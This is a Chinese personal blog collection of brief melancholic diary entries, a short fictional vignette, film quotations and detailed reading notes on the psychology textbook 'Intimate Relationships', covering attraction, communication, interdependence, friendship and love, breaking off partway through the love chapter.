
　　一语成谶。

　　从高空坠落。

　　一点一点，自己造出来的悬崖。

　　哪里才是归宿。

　　太阳依旧会升起，是否会等来太阳风暴的那一天？


　　南国微雪

　　2021 年 7 月 24 日

胡言乱语之一

　　害怕吗？害怕。

　　“当你和某人建立起亲密的关系时，你就会用那个人来填补你的洞，一旦那个人死亡或是关系结束了，你不会感觉失去了那个人，你感受到的是填补坑洞的东西不见了，感觉丧失了自己的一部分，因为以前被他填满的洞现在又暴露出来了，这就是你会那么痛苦的原因。” 　　——《秘密副作用》李欣频

　　在知乎上读到的一段话。

　　约莫人就是这样的生物吧。私尤为甚，丑暗倍增，如裂墙幽谷，临频颤颤。

　　不考虑他人，只满足私欲，以前不能理解的却也渐渐理解了。然而我并不想要这结果。

　　七原罪不知谁定的，现只觉得挺准。

　　乌托邦，可能才是真正逃避的归处。又可笑，终是蜃楼。

　　越大越糊涂。

　　很多时候，自己以为的，真的只是自己以为的。别人的世界和自己的世界宛如平行，无论怎样伸手扔绳都如虚幻冰花，不能理解。

　　毁灭重塑，错乱陆离，繁杂多变。保持自己，一个自以为不会变的自己，竟也由万千变量拉扯。

　　静相对，动永恒。

　　虚无也好，沙文也罢，都是副产物，谁是主旋律，可能没有人会说清。包票只是权值的走狗，概率有时挣脱枷锁。

　　人可能就是最为奇怪的生物了。

　　自以为的已知的最高智慧生命体，却配备难以掌控的感情系统。或许应该反却，毕竟只是动物。

　　在哪个频率上会爆开，又会在哪种色域上晕散，可能多一个少一个都无所谓。

　　秃头理论的边界，人的魔幻点，世界的观测处。是生是死，可能真的需要打开盒子才知道。

　　今晚散在一块。小到溜出监狱，狂跳着震动音节。满足原始野性？

　　生物就是生物。

　　桎梏破不了，精神往何方。

　　夜晚的天际，糅合跳跃的曲线，包围眼睛。丝毫不敌万千冲动，灰飞烟灭。

　　于是留下剔透水滴，映于蓝色方格之上。

　　害怕吗？害怕。


　　南国微雪

　　2021 年 6 月 14 日

心情

　　「请问您要什么服务？您想做的我大概都可以。」

　　「我要做的可能很过分，你承受得住吗？」

　　「还请不要做太过分的事情，不然我的身体可能会吃不消。」

　　「承受得住吗？」

　　「大……大概可以……」

　　「那我要开始了。」

　　「嗯。」

　　猛地抱住了。

　　「您这是在做什么？……」

　　「别说话，让我就这样一会儿，一会儿就好……就一会儿……」

　　「您要是不开心我可以……」

　　头往回转。

　　「不准回头！我不想你看见……」

　　豆大的眼珠往下落。

　　「嗯……好……」


　　「做你们这一行的，遇到我这种人应该很困扰吧？」

　　「还好吧……」

　　「请问多少钱？」

　　「嗯……不收钱。」

　　嚅了嚅嘴唇。

　　「以后要开心哦。」


　　南国微雪

　　2021 年 4 月 12 日

读书

所有阅读当中的摘录，收录于此。

如果书籍值得推荐，或者产生了很大影响，则会专门列出一个子目录放置笔记。

其他书籍摘录均在 Other Books。

电影台词

入殓师

  • 石头信（情节）

  • 夫妻俩总有一个要先走，活下来的那个最痛苦。

银翼杀手 1982

  • 能点燃两倍的亮光，就只有一半的燃烧寿命。而你，燃烧得非常灿烂。

  • 我见过你们这些人不会相信的事


    我目睹在猎户星座的边缘着火的攻击舰

    我看见 C 光束

    在汤豪色星门附近

    在黑暗中闪亮着


    所有这些时刻都会消失

    于时间中

    一如眼泪

    消失在雨中

  • I've seen things you people wouldn't believe.


    Attack ships on fire off the shoulder of Orion.

    I watched C-beams glitter in the dark near the Tannhäuser Gate.


    All those moments will be lost in time,

    like tears

    in rain.


    Time to die.

黑客帝国

Morpheus believed something, and he was ready to give his life for it.

I understand that now. That’s why I have to go.

Why?

Because I believe in something.

What?

I believe I can bring him back.

舞出我人生 2：街舞

You dance ???

...Damn, right, I dance. So I really think you should go and look at them.

亲密关系 | Intimate Relationship

《亲密关系（第六版）》读书笔记，收录于此。

此书以统计学为基础，辅以心理学知识，尝试解释各种亲密关系现象和方法，是严格的科学著作。

此书对博主产生了极大影响，值得推荐。

第一章：人际关系的构成

亲密关系的性质和重要性

亲密关系六维度

  • 了解
  • 关心
  • 相互依赖性 ：彼此需要和影响对方的程度
  • 相互一致性 ：认同双方在生活上的融合的程度
  • 信任
  • 承诺

归属需要

文化的影响

个人经历的影响

四种依恋类型

个体差异的影响

性别差异

  • 存在，但非常小，影响不大，不如关注性格差异
  • 男性特质：工具性
  • 女性特质：表达性
  • 同一个人身上可以同时出现工具性和表达性，并且比例不同，即同时拥有男性特质和女性特质
  • 刻板印象有害

性格差异

性认同差异

人格差异

  • 开放性
  • 外倾性
  • 尽责性
  • 宜人性
  • 神经质
  • （重要性由低到高

自尊差异

人类本性的影响

  • 养育投入：一般针对于女性比较重要
  • 父系不确定：一般针对于男性比较重要

人际互动的影响

人际关系的消极面

一些重要的人际关系科学结论

  • 亲密关系对于生理有影响
  • 近一半的婚姻以离婚告终（以美国为样本地）
  • 反常）： 同居时间越长，其结婚的概率越低
  • 性别比率对社会风气和性别角色有很大影响
  • 依恋类型很大程度上决定了其亲密关系的满意度
  • 两性之间，差异存在，但相同之处远大于差异
  • 书中猛烈批判了《男人来自火星，女人来自金星》等类似畅销书的误导作用
  • 个体差异才是影响人际交往的更重要的力量
  • 性别角色的刻板印象 远不如 两性化的人来得有吸引力，刻板印象非常有害
  • 坚持传统刻板性别角色的夫妇一般不如非传统的夫妇婚姻幸福
  • 人格影响人际关系的程度远大于人际关系影响人格的程度
  • 自尊水平影响亲密关系满意度
  • 低自尊者的自我怀疑和敏感脆弱使他们从无数琐事中制造出堆积如山的问题
  • 低自尊一旦形成很难克服
  • 自尊越高风险也就越大
  • 演化学提出养育投入和父系不确定的观点，推广到人际关系科学，决定了部分男女性别差异

第二章：研究方法

略

第三章：吸引力

吸引力的基础

  • 一种奖赏（直接奖赏与间接奖赏）
  • 直接奖赏
    • 生育后代
    • etc.
  • 间接奖赏
    • 社会地位
    • 财富
    • etc.

临近

  • 喜欢身边的人（相遇概率）
  • 方便：远亲不如近邻（成本）
  • 熟识：重复接触
    • 曝光效应
  • 邻近的作用
    • 马太效应与正反馈作用

长相吸引力

  • 喜欢那些可爱的人
  • 对美丽的偏见：“美的就是好的”
  • 吸引力的秘密
    • 人类对于外貌的判断具有跨种族的一致性
  • 长相吸引力的演化观
    • 所有男女两性的喜好最终指向一个方向
      • 与吸引力对象所生育后代的健壮性
      • （与吸引力对象生育后代的可能性抛开，此处只论判断条件）
  • 文化作用
  • 长相的重要性
    • 外貌吸引力是影响男女之间最初喜欢彼此的最重要因素
  • 美丽：代价与收益
    • 人们有选择余地时才会考虑长相吸引力，没有时长相则无关紧要
  • 长相吸引力的匹配
    • 相似相匹配，亲密关系越严肃，投入越多，匹配越明显
    • 长相吸引力在婚姻中所起的作用远不如当初把情侣们吸引在一起时重要

礼尚往来

  • 喜欢那些喜欢我们的人
  • 适配价值

相似性

  • 喜欢与我们相像的人
  • 有吸引力的相像种类
  • 相异并不相吸
    • 知觉到的相像
    • 刺激——价值观——角色 亲密增长理论
    • 致命的吸引
    • 差异可能随着时间而减少
    • 感受到最多爱意和最少冲突的伴侣是那些在热情上相似而支配欲上不同的伴侣
    • 相像具有奖赏意义，相异没有

障碍

  • 得不到的就喜欢
  • 罗密欧与朱丽叶效应：越被禁止越狂热
  • 打烊效应：“得不到的禁果格外甜”的具体表现

男女两性期望的理想伴侣

男性优先级

  1. 长相
  2. 品质
  3. 社会地位和经济资源
  4. （绝世容貌是渴求的特质，但不如高水平的品质重要）

女性优先级

  1. 社会地位和经济资源
  2. 品质
  3. 长相
  4. （金钱与财富是渴求的特质，但不如高水平的特质重要）

注意

  • 以上优先级是针对于长期的浪漫爱情而言
  • 一个调查显示，最注重的四个特征是
    • 智慧
    • 幽默
    • 友善
    • 可靠

一些重要的人际关系科学结论

  • 反常）： 男性对于女性的吸引力与女性所处的月经周期时段有关

    • 主要分为排卵期和其他时间，排卵期更钟爱“大丈夫”型男性，其他时间取决于个人喜好

  • 反常）： 女性对于男性的吸引力在世界范围内的一致性，即腰臀比例

  • 人们对俊美之人更有可能撒谎

  • 俊美之人往往能与他人愉快交往，但不如长相平庸之人那样信任别人

  • 建立亲密关系有关的吸引力、期望值、与可能性的相关计算公式

    • 对未来伴侣的期望值 = 伴侣的长相吸引力 x 伴侣接纳自己的可能性

  • 对于有吸引力的对象来讲，简单地问好不会像其他方式一样显得鲁莽或做作，是最聪明的搭讪方式

  • “一味故作清高”毫无用处，有用的是“选择性故作清高”

  • “刺激——价值观——角色”亲密增长理论

  • 致命的吸引

    • 伴侣最初吸引人的特质逐渐变成惹人厌烦、恼怒的特点

  • 最有吸引力的伴侣

    • 在许多方面与自己相似，但又拥有我们通过努力就能实现的理想特征的人

  • 男女两性对亲密伴侣都有 相同的品质要求

    • 热情和忠诚
    • 吸引力和活力
    • 社会地位和资源
    • 以上三点根据追求的亲密关系质量（露水恋情或持久爱情）而不同

  • 两性都希望尽可能多地得到热情和忠诚

第四章：社会认知

第一印象及其影响

  • 刻板印象往往非常不准确，但非常难避免
  • 首因效应
  • 验证性偏差
  • 第一印象重要在于最先了解到的信息能够
    • 把人们的注意力导向某类新信息
    • 影响对后来获得的新事实的解释
    • 最终结果导致人们不能客观公平、不偏不倚地处理来自他人的信息

知觉的力量

伴侣的理想化

  • 积极错觉：放大美德，缩小缺陷
  • 免遭幻想破灭的聪明办法：
    • 随着了解程度增加，不断调整自己对理想伴侣的期望，这样对伴侣的期望标准就能切合伴侣的现状。

归因过程

  • 行动者/观察者效应
  • 上述效应往往导致：伴侣们忽略他们在彼此身上观察到的行为正是自己所引发的
  • 如果伴侣有意识去努力了解对方的观点，上述效应会减少，但很难完全消失
  • 自我服务偏差
  • 幸福的配偶对彼此的积极行为都通常给以内部的、稳定的、普遍的归因
  • 不良的归因方式会引起更多的纠纷，降低解决问题的效率，从而导致了那些本可避免的失落和不满

记忆

  • 重构性记忆：随着新信息的获得，人们会不断地修订和改写记忆

关系信念

有害信念

  • 争吵具有破坏性：爱得够深就不会吵架
  • “读心术”很重要：凭直觉就能了解对方需要和偏好，如果需要告知，就是爱得不够深
  • 伴侣是不会发生改变的：一旦亲密关系变糟，便无法得到改善，爱人会一而再再而三伤害你
  • 每一次性生活都应该是完美的：伴侣应该经常渴望并为性生活做好准备
  • 男人和女人就是不一样：两方性格和需要非常不同，很难真正理解
  • 美好姻缘天注定：无需努力去维护，要么快乐到老，要么格格不入

宿命信念

  • 天造地设一对，僵化并且呆板

成长信念

  • 幸福的关系是辛勤维护的结果，和平并且良性

期望

  • 自我实现的预言
    • 错误的期望最终变为现实
    • （觉得自己很烂->真的变烂，达到自己之前的预言）
  • 经常忧虑被他人拒绝的人，其行为方式往往更可能遭人拒绝

自我知觉

  • 怀疑自己的人往往也会怀疑自己的亲密伴侣，其亲密关系一般不如高自尊的人安全
  • 自我概念、自我提升与自我证实
  • 具有负面自我概念的人如果发现爱人不断表扬和欣赏他们，他们逐渐会找出各种办法尽可能地逃离自己的配偶
  • 自我概念对人们选择亲密伴侣具有导向作用，他人的赞许和接纳令人愉快，但在长期的亲密关系中，人们更偏爱能确证自我认知的反应
  • 婚姻转变现象
  • 自恋者是颇为糟糕的伴侣，但一开始看穿他们非常困难，所以常以“致命的吸引”形式出现

印象管理

印象管理策略

  • 印象管理往往使人们的社会交往变得更得体、更有奖赏意义，却与虚伪无涉
  • 逢迎讨好策略是恋人最常用的印象管理策略
  • 自我推销策略
  • 恐吓策略和恳求策略（两种消极策略）

亲密关系中的印象管理策略

  • 自我监控：调整自己的行为，以适应各种情景下的不同规范
  • 高自我监控能力的人比其低的人有着更多的朋友，但共同点不多
  • 给好友和恋人营造的印象比为熟人或陌生人营造的更为重要，但是为了维持良好的形象，在前者所花的心思通常不如后者

我们了解伴侣的程度

了解

  • 我们并不如我们所认为的那样了解自己的伴侣

动机

  • 一般来讲，女性仔细思考自己的亲密关系的时间比男性多

伴侣的易理解性

知觉者的能力

  • 情绪智力（其实就是情商）
  • 如果情绪智力高，能驾轻就熟地调控自己的情感，从而在遭受打击和挫折时避免过度反应
  • 同时还能敏感地体验到别人的感受，所以他们的人际交往更加满意和亲密
  • 女性往往比男性的情绪智力更高，这也是她们擅长评价和判断他人的又一个原因

危险的知觉

知觉者的影响

  • 如果一方认为伴侣不是自己所期望的那种人，他们会鼓励伴侣做出某种行为，避免另一种行为，从而改变伴侣
  • 亲密伴侣会持续不断地改变和塑造彼此的行为举止

一些重要的人际关系科学结论

  • 认知决定了人们的感受和行动
  • 对异性恋爱关系预测最准确的往往是女当事人的朋友
  • 见上述 知觉的力量 ->关系信念->有害信念
  • 见上述 知觉的力量 ->自我知觉->第四点
  • 要真正了解他人对你的看法，必须要开口询问
  • 女性对他人的判断通常比男性更准确，一定程度上，此现象与男性不如女性那么努力地去理解他人有关
  • 见上述 我们了解伴侣的程度->知觉者的能力->第四点
  • 觉知他人的能力低下可能引起不良后果，如家暴，虐待等
  • 一些人总能看到亲密关系光明的一面，将伴侣往好处想，采用改善关系的归因，期待得到善意和慷慨的回应；而另一些人会怀疑自己的伴侣，预期着最糟糕的情况，这使得亲密关系更可能失败

第五章：沟通

重要性

  • 沟通在亲密关系中极其重要
  • 人际隔阂
  • 人际隔阂更可能出现在亲密关系中，而非陌生人之间

非言语沟通

作用

  • 提供信息
  • 调控交往
  • 限定关系

组成

面部表情（较为可信）

  • 表现规则
  • 增强表情
  • 减弱表情
  • 伪装表情
  • 微表情

注视行为

  • 视觉支配比率

身体动作

  • 更具有“泄露性”，即使加以掩饰，仍可能暴露真实感受

身体接触

  • 充满爱意的身体接触有益于身体健康

人际距离

  • 亲密区
  • 人际区
  • 事务区
  • 公共区

副语言

  • 节奏、音调、音量、速度等

各部分的结合

  • 话语和动作不一致（阴阳怪气），真实意图往往表现在非语言沟通中
  • 模仿
  • 打情骂俏

非语言的敏感性

  • “女人的直觉”是有事实根据的
    • 女性会比男性更细心地运用微妙却真实的非语言线索来辨明实际情况
  • 伴侣双方不满意，一般会倾向于不理彼此，导致恶性循环
  • 女性天生就比男性能更快速、准确地判断他人的情感

言语沟通

自我表露：亲密程度的指标之一

发展过程

  • 社会渗透理论：信息交流由肤浅转为深入
  • 相互作用：透露信息的程度随对方反应和关系进展不同而不同
  • 人际亲密过程模型：
    • 首先，必须进行有意义的自我表露
    • 其次，必须对彼此的个人信息有兴趣和同理心
    • 最后，双方必须都认识到另一方具有应答性
  • “开启者”

秘密和禁忌话题

  • 亲密的自我表露和选择性地保留一些秘密都能促成婚姻的美满
  • 最常见的禁忌话题是亲密关系本身的状态
  • 人们经常对自己恋爱关系的未来非常感兴趣，也迫切想知道，但不会明问，相反，会对恋人的承诺和投入程度进行秘密测试
    • 三角测试：对有吸引力的异性的反应程度
    • 耐力测试：制造困难
    • 分离测试：寻找暂时分开的理由，考察回归时伴侣的热忱
  • 禁忌话题越多，满意度越低

自我表露和亲密关系的满足

  • 惯用语
  • 自我表露不仅有益于人际关系，而且有利于身心健康
    • 每个人表达的钟爱、关心、温情和呵护等对于想要亲近的其他人来讲都是巨大的奖赏
    • 但需要清楚地传达出来

言语沟通中的性别差异

  • 女性话题经常出现情感和人物，而男性倾向于不太亲密和不带私人色彩的话题，但在网上时差异很小
  • 女性只有在与男性谈论男性话题时她们才更具试探性，而男性与女性谈论女性话题时，他们比女性更具试探性
  • 男女两性在讨论中性话题时不存在风格差异，所以总体来讲，两性言谈并不存在巨大的整体差异
  • 在线沟通存在大量的人际隔阂
  • 已确立的人际关系中，女性比男性表现出更多的自我表露
  • 男性对女性较为开放，女性彼此之间也较为开放，但男性不怎么对其他男性进行自我表露，造成的重要后果就是： 男性常常依赖于从女性那里得到温情和亲密，而女性很少依赖男性，女性可能与两性伙伴都有亲密的、开放的和支持性的联系，但男性则可能只与女性共享最有意义的亲密情感，所以，男性一生或许需要与女性交往来避免孤独，但在这方面女性并不需要男性。
  • 双性化（既自信果断又热情外向）的男性与传统的表达性低的男性相比，会花更多时间与女性交往
  • 交谈反应性，即谈话风格的差异，如是否活跃、是否深思熟虑、是否语速快等，会很大程度上影响双方满意度，例如发生冲突时，一方可能会完全控制讨论的进行
  • 男女两性都认为，在亲密关系中，表达性技能与工具性技能更为重要

沟通障碍及其应对

沟通不良

  • 表述意图糟糕，常常数怨并诉，常常偏离主题
  • 彼此倾听糟糕，想当然地“读心”，常常打断对方
  • 总是使用“是的——不过”句式传达出批评性
  • 常常反向抱怨回去，加速情况恶化
  • 交谈时常常表现出消极情感，通常以批评开头，攻击伴侣的人格和品德，而不是针对引起抱怨的具体行为
  • 有时会出现蔑视，伴侣对此通常反应是防卫，或是拒绝回答和合作，使得情况更糟糕
  • 最恶劣的情况下会出现交战状态，一方咄咄逼人的完全拒绝另一方

精确表述

  • 尽可能进行行为描述，而不是上升到人格或品德
  • 不应该使用总是或从不
  • 应该使用第一人称，说明自己的感受
  • 最简单的方法：XYZ陈述->“当你在Y情境下做X时，我感到Z”
  • 详见《非暴力沟通》

积极倾听

  • 把握不准时，可以进行简短 复述，让对方确认
  • 知觉检验 ->“你好像对我说的话感到很不安，对吗？”
  • 表现出应答性

守礼而镇定

  • 在被伴侣激怒的时候能保持清醒，在开始生气时能冷静下来，都是十分宝贵的技能
  • 如果处于不理智的状态时，建议独自一人待着，每分钟最多做 6 个深呼吸，能迅速平静下来

尊重和确认的力量

  • 最为关键：需要明确地表现出我们对伴侣观点的关心和尊重
  • 确认，即承认对方观点的合理性，表达对其立场的尊重，一直是亲密交往中值得拥有的目标
  • 请记住，即使我们与伴侣持有不同的意见，也不要虚假或谦卑地屈从伴侣的意见，后者往往会带来更糟糕的结果
  • 对伴侣的确认常常使意见不合变得更能让人容忍

一些重要的人际关系科学结论

  • “女人的直觉”是有事实依据的，详见 非言语沟通->非言语的敏感性->第一条
  • 人际亲密过程模型
  • 三角测试，耐力测试和分离测试
  • 两性在言谈方面不存在非常巨大的差异
  • 男性常常依赖于女性得到温情和亲密，而在这方面，女性不需要依赖男性
  • 两性都认为亲密关系中表达性比工具性更重要
  • 沟通不良的表现，详见 沟通障碍及其应对->沟通不良
  • 使用非暴力沟通法则（XYZ陈述）
  • 在陷入交战状态时及时脱身
  • 需要表达出明确的，对伴侣的尊重

第六章：相互依赖

社会交换

奖赏和代价

奖赏

  • 术语，泛指人际交往中任何值得拥有和受人欢迎的食物，能带给接收者愉悦感和成就感

代价

  • 术语，具有惩罚性的、令人不悦的经验，包括金钱支出、身体受伤、心理负担等，交往中所有令人沮丧或苦恼的后果都是代价

结果

  • 某一特定的人际交往所带来的奖赏和代价之和

公式

结果 = 奖赏 - 代价

相互依赖理论的观点

  • 结果正负不重要，重要的是：
  • 我们的期望以及
  • 如果没有现在的伴侣，我们认为自己会过得怎样

人际关系的期望收益

  • 比较水平 CL (Comparison Level)
    • 我们对关系的满意程度
  • 相互依赖理论的观点
    • 即使在与他人的交往中有收获，但没有达到期望（CL），就不会感到幸福

公式：结果 - CL = 满意度

人际关系的替代收益

  • 替代的比较水平 CLalt (Comparison Level for alternative)：
    • 在其他亲密关系中是否会更好，即
      • 抛弃目前的亲密关系，转而投向其他伴侣或情景所得到的交往结果
    • 也是我们可以忍受目前伴侣的最差结果
  • CLalt 决定了我们对亲密关系的依赖程度
  • 个体的投入(Investment)，即亲密关系结束时个体会失去的事物，也是决定个体是否维系关系的重要因素（可以看作沉没成本）
  • 习得性无助
  • 只有在意识到合意的替代伴侣时， CLalt 才会提高
  • 相互依赖理论将满意度和依赖性视为亲密关系中相对独立的影响因素，但实际上他们具有相关性
  • 公式：结果 - CLalt = 依赖度

人际关系的四种类型

较小利益原则

  • 定义：较少依赖于亲密关系的伴侣在关系中拥有更大的权力
  • 解释：当理想的亲密关系结束时，失去较少的一方会居于主导地位

与时俱变的比较水平

  • CL 时建立在过去经验的基础上，所以会随着结果不断波动
  • 找到真爱不能让人永远幸福，不应期望幸福会无限持续，因为 CL 总体上会升高

亲密关系的经济论

奖赏的作用不同于代价

接近动机

  • 企图满足自己喜好体验的欲望

回避动机

  • 渴望逃避代价的驱动力

关注这两种动机的原因

  • 真正美满的亲密关系中，我们能同时满足这两种动机
  • 人们接近动机和回避动机的强度长期来看存在差别

自我延伸模型

  • 能扩展我们的兴趣、技能和经验的伴侣关系就能吸引我们，新奇的活动、新才能的发展和新的思想观点的获得都具有内在的满足性
  • 问：为什么刚刚恋爱的人常常快乐无比？
  • 答：因为新建立的亲密通常包含有知识的增加和能促进自我概念发展的相互关系。
  • 附加：所以这就是为什么初恋常常让人难以忘怀，事实上，初恋时，伴侣换做其他非初恋的人也会得到相同的结果。所以人们通常只是怀念初恋的感受，而并非初恋的人。
  • 根据自我延伸模型，保持快乐的关键是创造性地发现持续你个人成长的方法，从而消除关系的沉闷
  • 单调平庸会让任何亲密关系变得了无生气，而创意和新奇能消除关系的沉闷

与时俱变的奖赏和代价

  • 关系紊乱模型：随着新伴侣习惯相互依赖，应该预期会有一段混乱和调整的时期
  • 刚开始投入亲密关系时会伴随不确定性和怀疑，双方都想知道亲密关系会走向何方，未来怎样，而他们越不确定，关系就可能越混乱
  • 亲密关系快速增长后的平静期
  • 对亲密关系之未来保守而慎重的期望远比浪漫的理想主义更明智和理性
  • 相互依赖会放大冲突和摩擦
  • 亲密意味着伴侣了解你的秘密、缺点和劣势，如果发生冲突，这些就是武器，伴侣比其他人更可能不经意地伤害我们
  • 为人父母是非同一般的、而且常常是奇迹般的探险历程，它毫无疑问严峻地考验着年轻父母之间的伴侣关系
  • 美满的亲密关系仍然需要努力奋斗和无私奉献，人们如果对亲密关系抱有一种不切实际、美化夸大的期望（在这件事上，女性往往比男性更危险），即使做的比其他人都好，其亲密关系也只能以失望告终
    • 缺少努力 (lack of effort)
    • 相互依赖的放大镜作用 (interdependency - a magnifying glass)
    • 对敏感信息武器的了解 (access to weaponry)
    • 不受欢迎的意外 (unwelcome surprises)
    • 不现实的期望 (unrealist- expectations)

亲密关系中的贪婪

相互依赖的实质

  • 如果伴侣双方都想亲密关系持续，双方都应该深思熟虑地保护和维持对方的幸福

交换关系

定义

  • 人们为他人付出期望得到同等的回报，由外在公平交换规范调节的关系

特征

  • 不喜欢欠对方人情
  • 对共同做出的努力要分出各自的贡献
  • 只有在认为自己有所得时才关注对方的需要
  • 即使拒绝帮助对方也不会感到内疚
  • 多为陌生人或一般熟人之间的关系
  • 典型特征是肤浅、短暂、很大程度上是任务导向的

共有关系

定义

  • 特别关注对方的幸福，不期望任何回报地支持和关照对方的关系

特征

  • 不会严格计算自己付出的代价
  • 不会希望自己的付出能立刻得到报答
  • 即使没有机会得到好处，也会密切关注伴侣的需要
  • 如果能帮到伴侣则自我感觉非常好

注意

  • 共有的亲密关系会使恋爱关系更有价值，并且同样适用于友谊，但只有伴侣双方共有强度都强时才有意义，否则只会让天平失衡，让一方的代价更加昂贵

公平关系

  • 定义
    • 只有在成比例的公平 (Proportional Justice) 前提下才对亲密关系最为满意
  • 过度获益与获益不足，相互依赖理论认为只要伴侣双方发展顺利，就没有太大影响，但公平理论认为影响很大
  • 公平理论预测过度获益的人某种程度上不如公平关系中的人满足，而获益不足的人将更加不满意
  • 公平理论的突出研究成果
    • “男人要多做家务、照顾小孩、维系爱情，这样才能拥有幸福快乐的妻子”
  • 公平在已经具有很高奖赏价值的亲密关系中其积极作用甚微

承诺的本质

投入模型

承诺的三种类型

  • 个人承诺：受到吸引
  • 强迫承诺：离开关系的代价过高，不得不继续
  • 到的承诺：来自道德责任感

承诺引起的后果

  • 促进顺应性行为：容忍伴侣的破坏性行为而不还击
  • 更大的牺牲意愿
  • 表现出感知到的优越感：认为自己的亲密关系比别人更好
  • 但如果盲目地采取这些行为，常常会招致自我挫败

一些重要的人际关系科学结论

  • 奖赏，见 社会交换 -> 奖赏和代价 -> 奖赏
  • 代价，见 社会交换 -> 奖赏和代价 -> 代价
  • 结果，见 社会交换 -> 奖赏和代价 -> 结果
  • 比较水平 CL：对关系的满意程度
  • 替代的比较水平 CLalt ：可以忍受目前伴侣的最差结果
  • 结果 = 奖赏 - 代价
  • 结果 - CL = 满意度
  • 结果 - CLalt = 依赖度
  • 较小利益原则：较少依赖于亲密关系的伴侣在关系中拥有更大的权力
  • 失去通常比同等程度的得到影响更大，我们喜欢得到，但我们更憎恨失去
  • 要保持满意的亲密关系，我们或许需要保持至少 5:1 的 奖赏-代价 比率
  • 想要亲密关系兴旺繁荣，需要更多的奖赏而不是减少代价，代价许多时候是不可避免的
  • 反常）对亲密关系之未来保守而慎重的期望远比浪漫的理想主义更明智和理性
  • 如果伴侣双方都想亲密关系持续，双方都应该深思熟虑地保护和维持对方的幸福
  • 反常）（笔者附加：正常的）女性主义者的女子对男人的敌意要少于其他女性，把爱人视为平等的伴侣，有助于建立幸福的亲密关系
  • 公平理论的突出研究成果
    • “男人要多做家务、照顾小孩、维系爱情，这样才能拥有幸福快乐的妻子”
  • **反常）**我们越愿意接纳伴侣一时的贫弱无助，我们就越不会倾向于贫弱

第七章：友谊

前置

  • 友情与爱情构成不一样
    • 爱情更严厉：着迷、性欲、排他性、应更忠诚、应更要伸出援手
    • 友谊约束力小，承担的责任更小，情感强度更弱，排他程度更低
  • 朋友带来的快乐和兴奋往往比配偶带来的要多

友谊的本质

友谊的属性

温情

共同参与与分享

彼此相伴

尊重

信任

资本化

  • 指分享快乐倍增

社会支持

  • 类型
    • 感情支持
    • 身体安慰
    • 建议支持
    • 物质支持
  • 作用
    • 感情支持具有生理效应
    • 有效支持会让人们感到与帮助者更亲近
    • 有些人更擅长提供社会支持
    • 往往影响爱情关系的走向
    • 增加快乐的概率
      • 每拥有一个快乐的朋友，自己快乐的机会+15%
      • 而朋友每拥有一个快乐的朋友，自己快乐的机会+10%
    • 朋友往往远比我们想象得更重要
    • 最好的支持应该切合我们的需要和偏好
    • 长期来看，真正起作用的并非朋友具体的帮助行为，而是我们对朋友帮助行为的认知
    • 个人特征会影响我们对社会支持的认知
    • 最好的帮助总是那些能表示朋友关注和理解我们（应答性），满足我们需要的帮助行为

应答性

  • 可能是亲密友谊中最重要的成分
  • 感知到的伴侣应答性 -> 提升亲密感，促进自我表露、信任和相互依赖
  • 人们喜欢接受到他人的热情和关注、兴趣和支持、保持应答性时结交和维系朋友的好方法

友谊的规则

  • 一般大多数人会有一套规则，即使不会明说
  • 友谊失败时，一般都会发现有人违背了这些规则

友谊的毕生变化

童年期

  • 小学低年级的接纳需要
  • 青春期前期的亲密需要
  • 青春期的性需要
  • 承认应对友谊问题时丰富和复杂的方法都是经历岁月锤炼的结果

青少年期

青少年时期的四种依恋方式：

  • 寻求亲近
  • 抗议隔离
  • 避风港湾
  • 安全基地

成年早期

  • “亲密对孤独”
  • 最好的朋友与普通的朋友没有不同，只是程度更深

中年期

  • 与伴侣同居后“二元退缩”：与爱人见面越来越多，与朋友交往次数越来越少
  • 友谊的消褪在结婚之后仍然不会停止，异性友谊尤其受到影响
  • 如果夫妻双方没有共同的朋友，婚姻通常会很艰难

老年期

  • 社会情绪选择理论：老年人和年轻人有不同的人际目标
  • 年老时友谊的支持尤为重要，常与朋友保持联系能降低患癌症的风险

友谊的差异

同性友谊中的性别差异

女性友谊

  • 情感分享和自我表露
  • “面对面”

男性友谊

  • 共同活动、相伴相随和搞笑娱乐
  • “肩并肩”

同性友谊差异表现

  • 女性朋友之间电话交谈的时间更多
  • 两性朋友探讨的话题不同，女性更有可能探讨人际关系和私人问题，而男性更有可能是客观事件
  • 女性进行的自我表露多于男性
  • 女性给予朋友的感情支持多于男性
  • 女性在有友谊中比男性表达出更多的爱意和温情
  • 总体来讲，女性之间的友谊往往比男性更亲切、紧密

注意

  • 事实上，如果男性的爱侣抛弃他们，大多数男性根本想不出可以向谁寻求安慰

高表达性的男性

友谊的个体差异

  • 自我监控
  • 性取向
  • 相互依赖的自我构念

友谊发展的障碍

羞怯

特征

  • 通常害怕负面评价
  • 倾向于自我怀疑
  • 感觉自己能力不足

影响

  • 人际恶性循环

孤独

两种困扰

  • 社会隔离：不满于缺少朋友和熟人的社交网络而引起的孤独
  • 情感隔离：缺乏深厚的人际关系而引起的孤独

影响

  • 会体现在生理现象上
    • 血压更高
    • 应激荷尔蒙更高
    • 睡眠质量更差
    • 免疫系统功能更差
  • 孤独具有遗传性
    • 高神经质会增加孤独的发生
  • 平均而言男性比女性更孤独
  • 孤独会引起抑郁

一些重要的人际关系科学结论

  • 朋友带来的快乐和兴奋往往比配偶带来的要多
  • 朋友往往远比我们想象得更重要
  • 长期来看，真正起作用的并非朋友具体的帮助行为，而是我们对朋友帮助行为的认知
  • 感知到的伴侣应答性 -> 提升亲密感，促进自我表露、信任和相互依赖
  • 友谊的消褪在结婚之后仍然不会停止，异性友谊尤其受到影响
  • 如果夫妻双方没有共同的朋友，婚姻通常会很艰难
  • 事实上，如果男性的爱侣抛弃他们，大多数男性根本想不出可以向谁寻求安慰
  • 平均而言男性比女性更孤独
  • 男性似乎依赖于女性以避免孤独，而女性则不会反过来依赖男性避免孤独
  • 抑郁者倾向于 过度寻求保证 ，在不安和焦虑中会将伙伴的耐心消磨殆尽

第八章：爱情

爱情类型

爱情三角理论

要素

  • 亲密
    • 热情、理解、沟通、支持和分享等等
  • 激情
    • 性的唤醒和欲望
  • 承诺
    • 投身于爱情和努力维护爱情的决心

类型

无爱（nonlove）
  • 三者均缺失
  • 泛泛之交，不是朋友
喜欢（liking）
  • 只有亲密，没有激情和承诺
  • 友谊常见，不会唤起激情和共度余生的期望
迷恋（infatuation）
  • 激情强烈，没有亲密和承诺
  • 被几乎不认识的人唤起欲望
空爱（empty love）
  • 只有承诺，没有亲密和激情
  • 常见于激情燃尽的爱情，仅仅在一起过日子
  • 包办婚姻的第一个阶段
浪漫之爱（romantic love）
  • 强烈的亲密和激情，喜欢和迷恋的结合，承诺并不关键
相伴之爱（companionate love）
